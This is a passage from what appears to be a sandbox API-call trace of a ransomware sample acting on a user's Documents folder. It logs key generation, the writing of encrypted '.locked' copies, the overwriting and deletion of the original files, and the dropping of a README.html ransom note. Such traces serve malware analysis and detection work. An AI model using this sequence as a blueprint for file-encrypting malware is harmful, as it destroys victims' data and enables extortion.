	[0071.844] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.845] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.860] CloseHandle (hObject=0xc0) returned 1
	[0071.868] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2I4gmvT9FNn6X2VW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2i4gmvt9fnn6x2vw.pptx")) returned 1
	[0071.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6RnXopz-k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6rnxopz-k.doc"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x209c3640, ftCreationTime.dwHighDateTime=0x1d4c770, ftLastAccessTime.dwLowDateTime=0xa143fd80, ftLastAccessTime.dwHighDateTime=0x1d4c830, ftLastWriteTime.dwLowDateTime=0xa143fd80, ftLastWriteTime.dwHighDateTime=0x1d4c830, nFileSizeHigh=0x0, nFileSizeLow=0x10394)) returned 1
	[0071.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6RnXopz-k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6rnxopz-k.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.884] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6RnXopz-k.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6rnxopz-k.doc.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.885] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.885] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0071.885] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0071.885] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0071.885] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.887] SetEvent (hEvent=0x80) returned 1
	[0071.887] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x10394, lpOverlapped=0x0) returned 1
	[0071.890] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10394, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x10394, lpOverlapped=0x0) returned 1
	[0071.891] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.891] CloseHandle (hObject=0xc4) returned 1
	[0071.893] CloseHandle (hObject=0xc0) returned 1
	[0071.893] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.893] SetEvent (hEvent=0x80) returned 1
	[0071.893] SetEvent (hEvent=0xb4) returned 1
	[0071.893] SetEvent (hEvent=0x8c) returned 1
	[0071.894] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.894] SetEvent (hEvent=0x8c) returned 1
	[0071.894] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3a) returned 1
	[0071.896] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6RnXopz-k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6rnxopz-k.doc")) returned 1
	[0071.915] SetEvent (hEvent=0xb4) returned 1
	[0071.920] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0071.920] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.920] SetEvent (hEvent=0xb4) returned 1
	[0071.920] SetEvent (hEvent=0x8c) returned 1
	[0071.920] SetEvent (hEvent=0x80) returned 1
	[0071.920] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.921] SetEvent (hEvent=0x80) returned 1
	[0071.922] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.923] SetEvent (hEvent=0xa8) returned 1
	[0071.923] SetEvent (hEvent=0x80) returned 1
	[0071.923] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.923] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.923] SetEvent (hEvent=0x80) returned 1
	[0071.923] SetEvent (hEvent=0x8c) returned 1
	[0071.923] SetEvent (hEvent=0xb4) returned 1
	[0071.924] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.927] SetEvent (hEvent=0xb4) returned 1
	[0071.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6RnXopz-k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6rnxopz-k.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.928] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.928] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.954] CloseHandle (hObject=0xc0) returned 1
	[0071.962] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6RnXopz-k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6rnxopz-k.doc")) returned 1
	[0071.971] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7kTnD.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7ktnd.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80e8e60, ftCreationTime.dwHighDateTime=0x1d4f064, ftLastAccessTime.dwLowDateTime=0xe0a8f940, ftLastAccessTime.dwHighDateTime=0x1d51ff0, ftLastWriteTime.dwLowDateTime=0xe0a8f940, ftLastWriteTime.dwHighDateTime=0x1d51ff0, nFileSizeHigh=0x0, nFileSizeLow=0xc0f5)) returned 1
	[0071.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7kTnD.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7ktnd.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.971] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7kTnD.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7ktnd.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.972] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.972] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0071.972] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0071.972] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0071.972] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.974] SetEvent (hEvent=0x8c) returned 1
	[0071.974] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xc0f5, lpOverlapped=0x0) returned 1
	[0071.976] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xc0f5, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xc0f5, lpOverlapped=0x0) returned 1
	[0071.977] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.977] CloseHandle (hObject=0xc4) returned 1
	[0071.979] CloseHandle (hObject=0xc0) returned 1
	[0071.979] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.979] SetEvent (hEvent=0x8c) returned 1
	[0071.979] SetEvent (hEvent=0xb4) returned 1
	[0071.979] SetEvent (hEvent=0x80) returned 1
	[0071.979] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.980] SetEvent (hEvent=0xa8) returned 1
	[0071.980] SetEvent (hEvent=0x80) returned 1
	[0071.980] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x37, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x37) returned 1
	[0071.982] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7kTnD.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7ktnd.pptx")) returned 1
	[0072.000] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.000] SetEvent (hEvent=0xa8) returned 1
	[0072.000] SetEvent (hEvent=0xb4) returned 1
	[0072.004] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.005] SetEvent (hEvent=0xb4) returned 1
	[0072.005] SetEvent (hEvent=0x80) returned 1
	[0072.005] SetEvent (hEvent=0x8c) returned 1
	[0072.005] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.005] SetEvent (hEvent=0x8c) returned 1
	[0072.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.007] SetEvent (hEvent=0x8c) returned 1
	[0072.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.008] SetEvent (hEvent=0x8c) returned 1
	[0072.008] SetEvent (hEvent=0x80) returned 1
	[0072.008] SetEvent (hEvent=0xb4) returned 1
	[0072.008] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.008] SetEvent (hEvent=0xb4) returned 1
	[0072.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7kTnD.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7ktnd.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.009] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0072.009] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.025] CloseHandle (hObject=0xc0) returned 1
	[0072.033] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7kTnD.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7ktnd.pptx")) returned 1
	[0072.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5ea3210, ftCreationTime.dwHighDateTime=0x1d4cc17, ftLastAccessTime.dwLowDateTime=0x9f88b5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca9d, ftLastWriteTime.dwLowDateTime=0x9f88b5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca9d, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0072.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0072.048] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5ea3210, ftCreationTime.dwHighDateTime=0x1d4cc17, ftLastAccessTime.dwLowDateTime=0x9f88b5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca9d, ftLastWriteTime.dwLowDateTime=0x9f88b5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca9d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0072.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5ea3210, ftCreationTime.dwHighDateTime=0x1d4cc17, ftLastAccessTime.dwLowDateTime=0x9f88b5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca9d, ftLastWriteTime.dwLowDateTime=0x9f88b5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca9d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fb62b0, ftCreationTime.dwHighDateTime=0x1d4ca15, ftLastAccessTime.dwLowDateTime=0x90d871e0, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0x90d871e0, ftLastWriteTime.dwHighDateTime=0x1d4d106, nFileSizeHigh=0x0, nFileSizeLow=0x10a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5uaSR9B ZuPf1BTfff.odp", cAlternateFileName="5UASR9~1.ODP")) returned 1
	[0072.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8143490, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x63efe690, ftLastAccessTime.dwHighDateTime=0x1d4d1fb, ftLastWriteTime.dwLowDateTime=0x63efe690, ftLastWriteTime.dwHighDateTime=0x1d4d1fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="92_SxvMwhaREWv_iEiv", cAlternateFileName="92_SXV~1")) returned 1
	[0072.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92bfcce0, ftCreationTime.dwHighDateTime=0x1d4d171, ftLastAccessTime.dwLowDateTime=0x4833a9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1dd, ftLastWriteTime.dwLowDateTime=0x4833a9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1dd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L90N", cAlternateFileName="")) returned 1
	[0072.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1082f260, ftCreationTime.dwHighDateTime=0x1d4d401, ftLastAccessTime.dwLowDateTime=0x7eef6a60, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x7eef6a60, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rBRyx6fXv755VE2eb", cAlternateFileName="RBRYX6~1")) returned 1
	[0072.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb10a3f0, ftCreationTime.dwHighDateTime=0x1d4d427, ftLastAccessTime.dwLowDateTime=0x7744e5c0, ftLastAccessTime.dwHighDateTime=0x1d4d1a5, ftLastWriteTime.dwLowDateTime=0x7744e5c0, ftLastWriteTime.dwHighDateTime=0x1d4d1a5, nFileSizeHigh=0x0, nFileSizeLow=0x13683, dwReserved0=0x0, dwReserved1=0x0, cFileName="WloOH6tcGBIwPp.odt", cAlternateFileName="WLOOH6~1.ODT")) returned 1
	[0072.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a91440, ftCreationTime.dwHighDateTime=0x1d4ccba, ftLastAccessTime.dwLowDateTime=0x14977b30, ftLastAccessTime.dwHighDateTime=0x1d4c706, ftLastWriteTime.dwLowDateTime=0x14977b30, ftLastWriteTime.dwHighDateTime=0x1d4c706, nFileSizeHigh=0x0, nFileSizeLow=0x141b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="znj4GRNLu Ef_g3D4bC.csv", cAlternateFileName="ZNJ4GR~1.CSV")) returned 1
	[0072.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.049] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0072.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.049] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0072.049] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0072.050] CloseHandle (hObject=0xc0) returned 1
	[0072.051] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee8b0*=0x57) returned 1
	[0072.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\5uaSR9B ZuPf1BTfff.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\5uasr9b zupf1btfff.odp"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fb62b0, ftCreationTime.dwHighDateTime=0x1d4ca15, ftLastAccessTime.dwLowDateTime=0x90d871e0, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0x90d871e0, ftLastWriteTime.dwHighDateTime=0x1d4d106, nFileSizeHigh=0x0, nFileSizeLow=0x10a3e)) returned 1
	[0072.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\5uaSR9B ZuPf1BTfff.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\5uasr9b zupf1btfff.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.053] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0072.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\5uaSR9B ZuPf1BTfff.odp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\5uasr9b zupf1btfff.odp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.053] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0072.053] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c380 | out: pbBuffer=0x1238c380) returned 1
	[0072.053] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796330 | out: pbBuffer=0x12796330) returned 1
	[0072.053] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0072.054] WriteFile (in: hFile=0xc4, lpBuffer=0x12415000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12415000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0072.056] SetEvent (hEvent=0x80) returned 1
	[0072.056] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x10a3e, lpOverlapped=0x0) returned 1
	[0072.058] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10a3e, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x10a3e, lpOverlapped=0x0) returned 1
	[0072.059] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0072.059] CloseHandle (hObject=0xc4) returned 1
	[0072.060] CloseHandle (hObject=0xc0) returned 1
	[0072.060] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.061] SetEvent (hEvent=0x80) returned 1
	[0072.061] SetEvent (hEvent=0xb4) returned 1
	[0072.061] SetEvent (hEvent=0x8c) returned 1
	[0072.061] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.061] SetEvent (hEvent=0x8c) returned 1
	[0072.061] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee83c*=0x58) returned 1
	[0072.063] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\5uaSR9B ZuPf1BTfff.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\5uasr9b zupf1btfff.odp")) returned 1
	[0072.081] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.082] SetEvent (hEvent=0xa8) returned 1
	[0072.082] SetEvent (hEvent=0xb4) returned 1
	[0072.086] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.086] SetEvent (hEvent=0xb4) returned 1
	[0072.086] SetEvent (hEvent=0x8c) returned 1
	[0072.086] SetEvent (hEvent=0x80) returned 1
	[0072.086] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.087] SetEvent (hEvent=0x80) returned 1
	[0072.088] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.088] SetEvent (hEvent=0x80) returned 1
	[0072.089] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.089] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.089] SetEvent (hEvent=0x80) returned 1
	[0072.089] SetEvent (hEvent=0x8c) returned 1
	[0072.089] SetEvent (hEvent=0xb4) returned 1
	[0072.089] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.090] SetEvent (hEvent=0xb4) returned 1
